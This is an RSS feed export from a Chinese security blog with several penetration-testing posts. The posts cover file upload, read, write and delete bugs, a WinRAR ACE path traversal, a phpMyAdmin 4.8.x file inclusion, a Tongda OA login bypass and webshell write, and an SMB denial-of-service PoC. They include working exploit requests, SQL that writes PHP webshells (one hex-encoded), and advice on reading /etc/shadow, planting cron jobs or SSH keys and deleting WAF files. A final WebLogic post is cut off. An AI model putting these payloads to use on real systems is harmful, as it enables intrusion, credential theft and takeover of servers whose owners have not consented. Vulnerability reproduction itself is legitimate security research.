<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>漏洞 &#8211; ChaBug安全</title>
	<atom:link href="/tags/%E6%BC%8F%E6%B4%9E/feed" rel="self" type="application/rss+xml" />
	<link>/</link>
	<description>一个分享知识、结识伙伴、资源共享的博客</description>
	<lastBuildDate>Sat, 27 Jun 2020 07:04:49 +0000</lastBuildDate>
	<language>zh-CN</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=5.5.5</generator>
	<item>
		<title>渗透经验分享之文件操作漏洞拓展</title>
		<link>/web/1811.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Sat, 27 Jun 2020 07:04:49 +0000</pubDate>
				<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[文件上传]]></category>
		<category><![CDATA[文件删除]]></category>
		<category><![CDATA[文件包含]]></category>
		<category><![CDATA[文件读取]]></category>
		<category><![CDATA[漏洞]]></category>
		<guid isPermaLink="false">/?p=1811</guid>

					<description><![CDATA[上文分享了注入相关的东西，注入也可以对文件进行操作，本文是对文件操作漏洞的拓展。 文件操作漏洞 文件上传 文件读取 文件写入 文件删除 文件包含 一般java的站点存在文件系列的洞...]]></description>
										<content:encoded><![CDATA[<p>上文分享了注入相关的东西，注入也可以对文件进行操作，本文是对文件操作<span class="wpcom_tag_link"><a href="/tags/%e6%bc%8f%e6%b4%9e" title="漏洞" target="_blank">漏洞</a></span>的拓展。</p>
<h1>文件操作漏洞</h1>
<ol>
<li><span class="wpcom_tag_link"><a href="/tags/%e6%96%87%e4%bb%b6%e4%b8%8a%e4%bc%a0" title="文件上传" target="_blank">文件上传</a></span></li>
<li><span class="wpcom_tag_link"><a href="/tags/%e6%96%87%e4%bb%b6%e8%af%bb%e5%8f%96" title="文件读取" target="_blank">文件读取</a></span></li>
<li>文件写入</li>
<li><span class="wpcom_tag_link"><a href="/tags/%e6%96%87%e4%bb%b6%e5%88%a0%e9%99%a4" title="文件删除" target="_blank">文件删除</a></span></li>
<li><span class="wpcom_tag_link"><a href="/tags/%e6%96%87%e4%bb%b6%e5%8c%85%e5%90%ab" title="文件包含" target="_blank">文件包含</a></span></li>
</ol>
<p>一般java的站点存在文件系列的洞比较多(除了文件包含)。</p>
<h1>文件上传</h1>
<p>在哪最容易发现上传点？注册登陆用户头像、发布文章发布产品、js中的文件上传接口、一些编辑器，甚至还有扫目录扫出来的<code>/uploader</code>路径，访问出现这种405的uploader一般就是上传。比如：<br />
<img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/84b74880-49ec-26bf-2eaf-e5b565db1e4f.png" alt="image.png" /></p>
<p>这个时候本地构造POST表单就行了，file参数靠猜，有的时候任意参数就行，有的时候post提交过去会报错缺失什么参数，随机应变。<br />
<img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/cef3ccd8-caca-871a-80d8-8e3b54ba9cb0.png" alt="image.png" /></p>
<p>一般上java的站点扫出来这种uploader比较多，都是上传写的servlet接口。</p>
<p>上传其实upload-labs里的绕过姿势已经非常全面了。拿到一个上传点，首先应该判断能不能正常上传、白名单还是黑名单、怎么校验的在哪校验的，这些没什么好讲的。聊一些比较恶心的文件上传。</p>
<ol>
<li>上传不返回路径</li>
<li>上传不在web目录</li>
</ol>
<p>上传不返回路径多出现在<code>市长邮箱</code>、<code>投诉举报</code>这类功能中，其实这种功能本来就没打算给你返回路径。我的思路一般是找注入点，只要没返回路径的文件上传并且返回给你一个ID给你当作凭据的(此处只是举例，类推)，肯定保存路径在数据库中。找到注入就等于找到了文件路径。</p>
<p>如果没有注入呢？找找日志。比如tp的日志是有规律的，你可以传一个非法文件名<code>1.;</code>，在tp的日志中报错，说不定就有路径。这个我自己是真实碰到的，一个laravel的框架，在laravel.log中报错返回了错误文件名的文件路径，猜出来了shell的路径。</p>
<p>如果没有日志呢？猜。形如<code>/Files/</code>、<code>/uploads/</code>目录，猜要有根据的猜，观察网站的图片和文件地址，以此拼接你的shell文件名，多数以时间戳命名，bp爆破下就行了。</p>
<p>再来说不在web目录的，上传的时候关注下请求包的几个参数，有没有<code>path</code>、<code>filepath</code>、<code>filename</code>、<code>file_prefix</code>，甚至测一下<code>../../1.jpg</code>文件名。如果上传不能跨目录其实你就应该转移关注点了。找文件包含、文件读取。</p>
<p>上传不在web目录的站，有这种功能的很多都有文件读取的洞，因为传上去的文件总归是要下回来的，找找形如<code>download?path=1.jpg</code>这种。拓展思路，举一反三。</p>
<p>另外就是文件包含了，没啥可说的。</p>
<h1>文件读取</h1>
<p>限制条件有两个</p>
<ol>
<li>限制前缀</li>
<li>限制后缀</li>
</ol>
<p>不限制前缀的时候可以通过<code>file</code>协议读文件，php可以通过伪协议读文件，当限制前缀的时候Linux其实还好，可以通过<code>../</code>跳目录，但是windows没办法通过<code>../</code>跳盘符。</p>
<p>限制后缀就比较恶心了，php好像可以用<code>#</code>、<code>?</code>符号去绕过。具体看 <a class="wp-editor-md-post-content-link" href="https://chybeta.github.io/2017/10/08/php%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E6%BC%8F%E6%B4%9E/#%E6%8C%87%E5%AE%9A%E5%90%8E%E7%BC%80">chybeta师傅的文章</a> 吧。</p>
<p>确定是文件读取之后，如何进一步拿权限？个人习惯先读<code>/etc/passwd</code>，权限够大直接读<code>/etc/shadow</code>，然后根据<code>/etc/passwd</code>读每个用户的<code>.bash_history</code>，读中间件的配置文件，以此判断web的绝对路径。然后逐个读源码，java的话可以读一下war包，搞到代码之后就变得<code>so easy</code>了。</p>
<p>举个例子：文件读取读到了旁站的war包，旁站是一个监控，就一个登陆框，而war包中配置文件里写死了密码，刚好登陆进去直接可以执行命令rce。</p>
<p>weblogic的话可以直接读console账号密码，登陆console部署war包getshell。</p>
<p>反正就是文件读取=60%中间件特性+10%猜+30%运气。</p>
<h1>文件写入</h1>
<p>文件写入拿shell很简单，直接指定web目录和内容就行了。但是这个一般上会有限制，比如内容检测(不能写php标签之类)，文件名检测(不能写<code>.php</code>)。</p>
<ol>
<li>写计划任务<strong>或许</strong>为一个好的选择</li>
<li>覆盖原有配置文件(比如覆盖安装锁)</li>
<li>写ssh</li>
</ol>
<p>文件写入好像没什么好说的，先就这样，想到什么补充什么。</p>
<h1>文件删除</h1>
<p>实战没怎么遇到过这个洞</p>
<ol>
<li>删除配置文件</li>
<li>删除安装锁(造成重装)</li>
<li>删除waf文件<code>include waf.php</code></li>
</ol>
<h1>文件包含</h1>
<p>文件包含多为php站点，所以伪协议读文件这些都是基本操作。不过有一说一，除了ctf中碰到过文件包含，实战中没遇到过。</p>
<p>具体看 <a class="wp-editor-md-post-content-link" href="https://chybeta.github.io/2017/10/08/php%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E6%BC%8F%E6%B4%9E/">chybeta师傅的文章-php文件包含漏洞</a></p>
<p>需要提一嘴的是phar可以伪装为图片，你可以传一个1.jpg，绕过内容检测，然后用<code>phar://</code>协议包含。还有就是smb包含，php缓存文件包含。</p>
<hr />
<p>或许渗透变化万千的思路才是我真正喜欢他的原因。</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Winrar目录穿越漏洞复现</title>
		<link>/web/649.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Sat, 06 Jul 2019 17:13:56 +0000</pubDate>
				<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[winrar]]></category>
		<category><![CDATA[漏洞]]></category>
		<guid isPermaLink="false">/?p=649</guid>

					<description><![CDATA[漏洞描述: 近日Check Point团队爆出了一个关于WinRAR存在19年的漏洞，用它来可以获得受害者计算机的控制。攻击者只需利用此漏洞构造恶意的压缩文件，当受害者使用WinR...]]></description>
										<content:encoded><![CDATA[<p class="md-end-block" contenteditable="true"><span class="wpcom_tag_link"><a href="/tags/%e6%bc%8f%e6%b4%9e" title="漏洞" target="_blank">漏洞</a></span>描述:</p>
<p class="md-end-block" contenteditable="true">近日Check Point团队爆出了一个关于WinRAR存在19年的漏洞，用它来可以获得受害者计算机的控制。攻击者只需利用此漏洞构造恶意的压缩文件，当受害者使用WinRAR解压该恶意文件时便会触发漏洞。</p>
<p class="md-end-block md-focus" contenteditable="true"><span class="">该漏洞是由于 WinRAR 所使用的一个陈旧的动态链接库</span><span class="" spellcheck="false"><code>UNACEV2.dll</code></span><span class="md-expand">所造成的，该动态链接库在 2006 年被编译，没有任何的基础保护机制(ASLR, DEP 等)。动态链接库的作用是处理 ACE 格式文件。而WinRAR解压ACE文件时，由于没有对文件名进行充分过滤，导致其可实现目录穿越，将恶意文件写入任意目录,甚至可以写入文件至开机启动项，导致代码执行</span></p>
<p class="md-end-block" contenteditable="true">漏洞影响:</p>
<p class="md-end-block" contenteditable="true">影响软件：</p>
<p class="md-end-block" contenteditable="true">WinRAR &lt; 5.70 Beta 1</p>
<p class="md-end-block" contenteditable="true">Bandizip &lt; = 6.2.0.0</p>
<p class="md-end-block" contenteditable="true">好压(2345压缩) &lt; = 5.9.8.10907</p>
<p class="md-end-block" contenteditable="true">360压缩 &lt; = 4.0.0.1170</p>
<p class="md-end-block" contenteditable="true">等等…</p>
<p class="md-end-block" contenteditable="true">漏洞复现:</p>
<p class="md-end-block" contenteditable="true">该漏洞的实现过程：首先新建一个任意文件，然后利用WinACE进行压缩，修改filename来实现目录穿越漏洞，可以将文件解压到任意目录中。</p>
<p class="md-end-block" contenteditable="true">主要所需工具<span class=" md-link"><a spellcheck="false" href="https://web.archive.org/web/20170714193504/http:/winace.com:80/" target="_blank" rel="nofollow noopener noreferrer"><span spellcheck="false"><code>WinACE</code></span></a></span>、010Editor。</p>
<p class="md-end-block" contenteditable="true">下载WinACE并安装，安装完成后新建一个文本文件，名字任意。</p>
<p class="md-end-block" contenteditable="true"><span class="md-image md-img-loaded" data-src="https://syst1m-1258471648.cos.ap-beijing.myqcloud.com/Y%24V0N6%24_%25_1YD7%24S1~SY_%25E.png"><img src="https://syst1m-1258471648.cos.ap-beijing.myqcloud.com/Y%24V0N6%24_%25_1YD7%24S1~SY_%25E.png" alt="Winrar目录穿越漏洞复现-ChaBug安全" /></span></p>
<p class="md-end-block" contenteditable="true">然后利用WinACE进行压缩。</p>
<p class="md-end-block" contenteditable="true"><span class="md-image md-img-loaded" data-src="https://syst1m-1258471648.cos.ap-beijing.myqcloud.com/G8Y~R%5D%7D_%5D~%7D%60C%5D0L7MN_PU9.png"><img src="https://syst1m-1258471648.cos.ap-beijing.myqcloud.com/G8Y~R%5D%7D_%5D~%7D%60C%5D0L7MN_PU9.png" alt="Winrar目录穿越漏洞复现-ChaBug安全" /></span></p>
<p class="md-end-block" contenteditable="true"><span class="">设置为store full path</span></p>
<p class="md-end-block" contenteditable="true"><span class="">3通过脚本检查rar的header信息，其脚本下载地址为：</span></p>
<p class="md-end-block" contenteditable="true"><span class="md-link" spellcheck="false"><a href="https://raw.githubusercontent.com/backlion/acefile/master/acefile.py" target="_blank" rel="nofollow noopener noreferrer">https://raw.githubusercontent.com/backlion/acefile/master/acefile.py</a></span></p>
<p class="md-end-block" contenteditable="true">使用命令<span spellcheck="false"><code>python acefile.py --headers test.ace</code></span>来读取该文件头信息</p>
<p class="md-end-block" contenteditable="true"><span class="md-image md-img-loaded" data-src="https://syst1m-1258471648.cos.ap-beijing.myqcloud.com/1.png"><img src="https://syst1m-1258471648.cos.ap-beijing.myqcloud.com/1.png" alt="Winrar目录穿越漏洞复现-ChaBug安全" /></span></p>
<p class="md-end-block" contenteditable="true">要注意这三块</p>
<p class="md-end-block" contenteditable="true"><span spellcheck="false"><code>hdr_crc</code></span></p>
<p class="md-end-block" contenteditable="true"><span spellcheck="false"><code>hdr_size</code></span></p>
<p class="md-end-block" contenteditable="true"><span spellcheck="false"><code>filename的长度</code></span></p>
<p class="md-end-block" contenteditable="true"><span spellcheck="false"><code>filename</code></span></p>
<p class="md-end-block" contenteditable="true">使用010 Editor打开ace文件进行修改(这里要注意修改顺序是从后往前的)</p>
<p class="md-end-block" contenteditable="true"><span class="md-image md-img-loaded" data-src="https://syst1m-1258471648.cos.ap-beijing.myqcloud.com/NVG%25E~Y%5BBK_VS~JUIN6J5XK.png"><img src="https://syst1m-1258471648.cos.ap-beijing.myqcloud.com/NVG%25E~Y%5BBK_VS~JUIN6J5XK.png" alt="Winrar目录穿越漏洞复现-ChaBug安全" /></span></p>
<p class="md-end-block" contenteditable="true">如果要修改filename，则需要修改上面标注这几处。第一处为0xd9e2(hdr_crc),第二处为0x0027(hdr_size)，第三处为0x0008(filename的长度），以及最后一处为filename</p>
<p class="md-end-block" contenteditable="true">这里修改filename为<span spellcheck="false"><code>d:\d:\test.txt</code></span></p>
<p class="md-end-block" contenteditable="true">长度为14，对应的hex为0x000e</p>
<p class="md-end-block" contenteditable="true"><span class="md-image md-img-loaded" data-src="https://syst1m-1258471648.cos.ap-beijing.myqcloud.com/2.png"><img src="https://syst1m-1258471648.cos.ap-beijing.myqcloud.com/2.png" alt="Winrar目录穿越漏洞复现-ChaBug安全" /></span></p>
<p class="md-end-block" contenteditable="true">然后修改hdr_size，长度为45，对应的hex为0x002d</p>
<p class="md-end-block" contenteditable="true"><span class="md-image md-img-loaded" data-src="https://syst1m-1258471648.cos.ap-beijing.myqcloud.com/%7DFB9RX%7DX%24D6SVB_%5DP8ML%5BB5.png"><img src="https://syst1m-1258471648.cos.ap-beijing.myqcloud.com/%7DFB9RX%7DX%24D6SVB_%5DP8ML%5BB5.png" alt="Winrar目录穿越漏洞复现-ChaBug安全" /></span></p>
<p class="md-end-block" contenteditable="true">接下来就是修改hdr_crc了，这里有一个取巧的方法。</p>
<p class="md-end-block" contenteditable="true">我们再次运行命令<span spellcheck="false"><code>python acefile.py --headers test.ace</code></span></p>
<p class="md-end-block" contenteditable="true">程序中断并提示<span spellcheck="false"><code>CorruptedArchiveError: header CRC failed</code></span></p>
<p class="md-end-block" contenteditable="true">定位到错误的位置</p>
<p class="md-end-block" contenteditable="true"><span class="md-image md-img-loaded" data-src="https://syst1m-1258471648.cos.ap-beijing.myqcloud.com/3.png"><img src="https://syst1m-1258471648.cos.ap-beijing.myqcloud.com/3.png" alt="Winrar目录穿越漏洞复现-ChaBug安全" /></span></p>
<p class="md-end-block" contenteditable="true">然后去修改hdr_crc 为0xb2f3</p>
<p class="md-end-block" contenteditable="true"><span class="md-image md-img-loaded" data-src="https://syst1m-1258471648.cos.ap-beijing.myqcloud.com/4.png"><img src="https://syst1m-1258471648.cos.ap-beijing.myqcloud.com/4.png" alt="Winrar目录穿越漏洞复现-ChaBug安全" /></span></p>
<p class="md-end-block" contenteditable="true">再次查看，可以正常解析，并看到filename已经修改成功</p>
<p class="md-end-block" contenteditable="true"><span class="md-image md-img-loaded" data-src="https://syst1m-1258471648.cos.ap-beijing.myqcloud.com/5.png"><img src="https://syst1m-1258471648.cos.ap-beijing.myqcloud.com/5.png" alt="Winrar目录穿越漏洞复现-ChaBug安全" /></span></p>
<p class="md-end-block" contenteditable="true">右键解压该文件，则会在D盘生成一个test.txt文件。</p>
<p class="md-end-block" contenteditable="true"><span class="md-image md-img-loaded" data-src="https://syst1m-1258471648.cos.ap-beijing.myqcloud.com/6.png"><img src="https://syst1m-1258471648.cos.ap-beijing.myqcloud.com/6.png" alt="Winrar目录穿越漏洞复现-ChaBug安全" /></span></p>
<p class="md-end-block" contenteditable="true">解压后会在D盘生成一个test.txt文件</p>
<h2 class="md-end-block md-heading" contenteditable="true">修复建议</h2>
<ol class="ol-list" start="">
<li class="md-list-item">
<p class="md-end-block"><span class="">升级到最新版本，WinRAR 目前版本是 5.70 Beta 1</span></p>
</li>
<li class="md-list-item">
<p class="md-end-block">删除UNACEV2.dll文件，解压则会报错</p>
</li>
</ol>
<p class="md-end-block" contenteditable="true">参考:<span class="md-link md-expand" spellcheck="false"><a href="https://fuping.site/2019/02/21/WinRAR-Extracting-Code-Execution-Validate/" target="_blank" rel="nofollow noopener noreferrer">https://fuping.site/2019/02/21/WinRAR-Extracting-Code-Execution-Validate/</a></span></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Phpmyadmin4.8.0~4.8.3任意文件包含</title>
		<link>/web/628.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Fri, 21 Dec 2018 00:41:32 +0000</pubDate>
				<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[phpmyadmin]]></category>
		<category><![CDATA[文件包含]]></category>
		<category><![CDATA[漏洞]]></category>
		<guid isPermaLink="false">/?p=628</guid>

					<description><![CDATA[前言 2018年12月7日，phpmyadmin官方发布公告修复了一个由Transformation特性引起的任意文件包含漏洞。 漏洞分析 Transformation是phpMy...]]></description>
										<content:encoded><![CDATA[<h2 id="前言">前言</h2>
<p>2018年12月7日，<span class="wpcom_tag_link"><a href="/tags/phpmyadmin" title="phpmyadmin" target="_blank">phpmyadmin</a></span>官方发布<a href="https://www.phpmyadmin.net/security/PMASA-2018-6/">公告</a>修复了一个由<code>Transformation</code>特性引起的任意<span class="wpcom_tag_link"><a href="/tags/%e6%96%87%e4%bb%b6%e5%8c%85%e5%90%ab" title="文件包含" target="_blank">文件包含</a></span><span class="wpcom_tag_link"><a href="/tags/%e6%bc%8f%e6%b4%9e" title="漏洞" target="_blank">漏洞</a></span>。</p>
<h2 id="漏洞分析">漏洞分析</h2>
<p><code>Transformation</code>是phpMyAdmin中的一个高级功能，通过<code>Transformation</code>可以对每个字段的内容使用不同的转换，每个字段中的内容将被预定义的规则所转换。比如我们有一个存有文件名的字段<code>Filename</code>，正常情况下 phpMyAdmin 只会将路径显示出来。但是通过<code>Transformation</code>我们可以将该字段转换成超链接，我们就能直接在 phpMyAdmin 中点击并在浏览器的新窗口中看到这个文件。</p>
<p>通常情况下Transformation的规则存储在每个数据库的<code>pma__column_info</code>表中，而在phpMyAdmin 4.8.0~4.8.3版本中，由于对转换参数处理不当，导致了任意文件包含漏洞的出现。</p>
<p>这些转换在phpMyAdmin的<code>column_info</code>表中定义，他通常已经存在于phpMyAdmin的系统表中。但是每个数据库都可以生成自己的版本。要为特定数据库生成phpmyadmin系统表，可以这样生成</p>
<pre class="lang:default decode:true line-numbers language-http">http://phpmyadmin/chk_rel.php?fixall_pmadb=1&amp;db=*yourdb*</pre>
<p>它将会创建一个<code>pma__*</code>表的集合到你数据库中。</p>
<p>说了这么多，我们来看下具体产生漏洞的代码<code>tbl_replace.php</code></p>
<pre class="lang:default decode:true line-numbers language-php">&lt;?php

$mime_map = Transformations::getMIME($GLOBALS['db'], $GLOBALS['table']);
[省略]
// Apply Input Transformation if defined
if (!empty($mime_map[$column_name])
&amp;&amp; !empty($mime_map[$column_name]['input_transformation'])
) {
   $filename = 'libraries/classes/Plugins/Transformations/'
. $mime_map[$column_name]['input_transformation'];
   if (is_file($filename)) {
      include_once $filename;
      $classname = Transformations::getClassName($filename);
      /** @var IOTransformationsPlugin $transformation_plugin */
      $transformation_plugin = new $classname();
      $transformation_options = Transformations::getOptions(
         $mime_map[$column_name]['input_transformation_options']
      );
      $current_value = $transformation_plugin-&gt;applyTransformation(
         $current_value, $transformation_options
      );
      // check if transformation was successful or not
      // and accordingly set error messages &amp; insert_fail
      if (method_exists($transformation_plugin, 'isSuccess')
&amp;&amp; !$transformation_plugin-&gt;isSuccess()
) {
         $insert_fail = true;
         $row_skipped = true;
         $insert_errors[] = sprintf(
            __('Row: %1$s, Column: %2$s, Error: %3$s'),
            $rownumber, $column_name,
            $transformation_plugin-&gt;getError()
         );
      }
   }
}</pre>
<p>拼接到<code>$filename</code>的变量<code>$mime_map[$column_name]['input_transformation']</code>来自于数据表<code>pma__column_info</code>中的<code>input_transformation</code>字段，因为数据库中的内容用户可控，从而产生了任意文件包含漏洞。</p>
<h2 id="漏洞利用">漏洞利用</h2>
<ol>
<li>创建一个新的数据库<code>foo</code>和一个随机的<code>bar</code>表，在表中创建一个<code>baz</code>字段，然后把我们的php代码写入session
<pre class="lang:default decode:true line-numbers language-sql">CREATE DATABASE foo;
CREATE TABLE foo.bar ( baz VARCHAR(255) PRIMARY KEY );
INSERT INTO foo.bar SELECT '&lt;?php phpinfo() ?&gt;';</pre>
</li>
<li>创建phpmyadmin系统表在你的<code>foo</code>数据库中
<pre class="lang:default decode:true line-numbers language-http">http://phpmyadmin/chk_rel.php?fixall_pmadb=1&amp;db=foo</pre>
</li>
<li>将篡改后的<code>Transformation</code>数据插入表<code>pma__columninfo</code>中：将<code>yourSessionId</code>替换成你的会话ID，即COOKIE中phpMyAdmin的值
<pre class="lang:default decode:true line-numbers language-sql">INSERT INTO `pma__column_info`SELECT '1', 'foo', 'bar', 'baz', 'plop',
'plop', 'plop', 'plop',
'../../tmp/sess_{yourSessionId}','plop';</pre>
</li>
<li>然后访问
<pre class="lang:default decode:true line-numbers language-http">http://phpmyadmin/tbl_replace.php?db=foo&amp;table=bar&amp;where_clause=1=1&amp;fields_name[multi_edit][][]=baz&amp;clause_is_unique=1</pre>
<p>如果利用成功，则会返回<code>phpinfo();</code></li>
</ol>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>记通达OA2015变量覆盖和getshell</title>
		<link>/web/515.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Thu, 09 Aug 2018 05:17:58 +0000</pubDate>
				<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[getshell]]></category>
		<category><![CDATA[OA]]></category>
		<category><![CDATA[变量覆盖]]></category>
		<category><![CDATA[渗透]]></category>
		<category><![CDATA[漏洞]]></category>
		<guid isPermaLink="false">/?p=515</guid>

					<description><![CDATA[漏洞详情：http://www.anquan.us/static/bugs/wooyun-2016-0168661.html 团队一起日站的时候发现了一个oa，然后就一顿乌云找到了...]]></description>
										<content:encoded><![CDATA[<p><span class="wpcom_tag_link"><a href="/tags/%e6%bc%8f%e6%b4%9e" title="漏洞" target="_blank">漏洞</a></span>详情：<a href="http://www.anquan.us/static/bugs/wooyun-2016-0168661.html" target="_blank" rel="noopener noreferrer">http://www.anquan.us/static/bugs/wooyun-2016-0168661.html</a></p>
<p>团队一起日站的时候发现了一个oa，然后就一顿乌云找到了这个，成功<span class="wpcom_tag_link"><a href="/tags/getshell" title="getshell" target="_blank">getshell</a></span>。</p>
<h1><span class="wpcom_tag_link"><a href="/tags/%e5%8f%98%e9%87%8f%e8%a6%86%e7%9b%96" title="变量覆盖" target="_blank">变量覆盖</a></span></h1>
<p>登录构造请求数据包</p>
<pre class="lang:default decode:true ">POST /logincheck.php HTTP/1.1
Host: xx.xx.com
Content-Length: 182
Cache-Control: max-age=0
Origin: http://xx.xx.com/
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://xx.xx.com/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: SID_1=8b3cb1d3; PHPSESSID=he68espbvu9oq0rgamruvhs114
Connection: close

USERNAME=admin&amp;PASSWORD=&amp;MYOA_MASTER_DB[id]=1&amp;MYOA_MASTER_DB[host]=123.123.123.123&amp;MYOA_MASTER_DB[user]=root&amp;MYOA_MASTER_DB[pwd]=rootpassword&amp;MYOA_MASTER_DB[db]=oa&amp;encode_type=1&amp;button=
</pre>
<p>其中的MySQL数据库链接配置需要自己搭建外网MySQL，并且开通root外链。</p>
<p><a href="https://pan.chabug.org/%E4%B8%8B%E8%BD%BD/TD_OA.zip">TD_OA.sql</a> 下载导入</p>
<p>&nbsp;</p>
<h1>getshell</h1>
<p>后台有 sql 导入功能, 有两种方法, 使用 <code>into outfile</code> 或者用 <code>general_log</code></p>
<pre class="lang:default decode:true ">update mysql.user set file_priv='Y' where user='root';
flush privileges;
select concat("'",0x3C3F7068702061737365727428245F504F53545B615D29203F3E) into outfile '../webroot/test.php';
update mysql.user set file_priv='N' where user='root';
flush privileges;</pre>
<pre class="lang:default decode:true">set global general_log = on;
set global general_log_file = '../webroot/test.php';
select '&lt;?php assert($_POST[a]) ?&gt;';
set global general_log = off;</pre>
<p>&nbsp;</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>SMB空指针引用攻击（CVE-2018-0833）复现</title>
		<link>/web/514.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Tue, 07 Aug 2018 11:18:17 +0000</pubDate>
				<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[cve]]></category>
		<category><![CDATA[复现]]></category>
		<category><![CDATA[漏洞]]></category>
		<guid isPermaLink="false">/?p=514</guid>

					<description><![CDATA[1.漏洞简介 服务器信息块（SMB）是一个网络文件共享协议，它允许应用程序和终端用户从远端的文件服务器访问文件资源。这个崩溃发生的模块是“mrxsmb”。这是一个微软服务器消息块(...]]></description>
										<content:encoded><![CDATA[<p><strong>1.<span class="wpcom_tag_link"><a href="/tags/%e6%bc%8f%e6%b4%9e" title="漏洞" target="_blank">漏洞</a></span>简介</strong><br />
服务器信息块（SMB）是一个网络文件共享协议，它允许应用程序和终端用户从远端的文件服务器访问文件资源。这个崩溃发生的模块是“<code>mrxsmb</code>”。这是一个微软服务器消息块(SMB)的重定向器。<code>Windows 8.1</code>和<code>Windows server 2012 R2</code>存在该漏洞，在Windows 8.1 (x86)上执行，发送一个精心构造的数据包，因为它想要从地址<code>0x00000030</code>的内存中读取一个<code>受保护的(空页保护)值</code>，该值处于受保护的内存空间，会引起内核的处理异常，迫使机器重启造成拒绝服务。</p>
<div class="kx_md_br_div"></div>
<p><strong>2.<span class="wpcom_tag_link"><a href="/tags/%e5%a4%8d%e7%8e%b0" title="复现" target="_blank">复现</a></span>过程</strong><br />
目标环境：虚拟机windows 8<br />
IP: 192.168.192.141<br />
<img class="div_message_boxShadow" src="http://www.5ecurity.cn/usr/uploads/2018/03/1563919199.png" alt="1.png" /></p>
<div class="kx_md_br_div"></div>
<p>受影响版本为<code>Windows 8.1</code>和<code>Windows server 2012 R2</code>，这里选取了<code>Windows8.1</code>。</p>
<div class="kx_md_br_div"></div>
<p>攻击端环境：Kali Linux<br />
IP：192.168.192.139<br />
<img class="div_message_boxShadow" src="http://www.5ecurity.cn/usr/uploads/2018/03/666107847.png" alt="2.png" /></p>
<div class="kx_md_br_div"></div>
<p>运行PoC脚本等待靶机访问。</p>
<table class="syntaxhighlighter  python" border="0" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td class="gutter">
<div class="line number1 index0 alt2">1</div>
</td>
<td class="code">
<div class="container">
<div class="line number1 index0 alt2"><code class="python plain">python PoC.py</code></div>
</div>
</td>
</tr>
</tbody>
</table>
<p><img class="div_message_boxShadow" src="http://www.5ecurity.cn/usr/uploads/2018/03/1535317972.png" alt="3.png" /></p>
<div class="kx_md_br_div"></div>
<p>靶机中输入Kali Linux的IP访问。</p>
<table class="syntaxhighlighter  python" border="0" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td class="gutter">
<div class="line number1 index0 alt2">1</div>
</td>
<td class="code">
<div class="container">
<div class="line number1 index0 alt2"><code class="python plain">\\</code><code class="python value">192.168</code><code class="python plain">.</code><code class="python value">192.139</code></div>
</div>
</td>
</tr>
</tbody>
</table>
<p><img class="div_message_boxShadow" src="http://www.5ecurity.cn/usr/uploads/2018/03/2179088747.png" alt="4.png" /></p>
<div class="kx_md_br_div"></div>
<p><img class="div_message_boxShadow" src="http://www.5ecurity.cn/usr/uploads/2018/03/1013245602.png" alt="5.png" /></p>
<div class="kx_md_br_div"></div>
<p>触发BSoD。<br />
<img class="div_message_boxShadow" src="http://www.5ecurity.cn/usr/uploads/2018/03/3905112452.png" alt="6.png" /></p>
<div class="kx_md_br_div"></div>
<p><strong>3.参考链接</strong><br />
https://krbtgt.pw/smbv3-null-pointer-dereference-vulnerability/<br />
https://www.exploit-db.com/exploits/44189/</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>CVE-2018-2628 weblogic漏洞验证</title>
		<link>/web/401.html</link>
					<comments>/web/401.html#comments</comments>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Wed, 18 Apr 2018 19:55:00 +0000</pubDate>
				<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[cve]]></category>
		<category><![CDATA[poc]]></category>
		<category><![CDATA[weblogic]]></category>
		<category><![CDATA[漏洞]]></category>
		<guid isPermaLink="false">/?p=336</guid>

					<description><![CDATA[http://www.lengbaikai.net/?p=250 今早，朋友圈就刷爆了这个漏洞，但是目前只有POC验证脚本放出，后续有exp放出时，我会继续更新这篇博文。 0x01...]]></description>
										<content:encoded><![CDATA[<blockquote><p><a href="http://www.lengbaikai.net/?p=250">http://www.lengbaikai.net/?p=250</a></p></blockquote>
<p>今早，朋友圈就刷爆了这个<span class="wpcom_tag_link"><a href="/tags/%e6%bc%8f%e6%b4%9e" title="漏洞" target="_blank">漏洞</a></span>，但是目前只有POC验证脚本放出，后续有exp放出时，我会继续更新这篇博文。</p>
<p>0x01 综述</p>
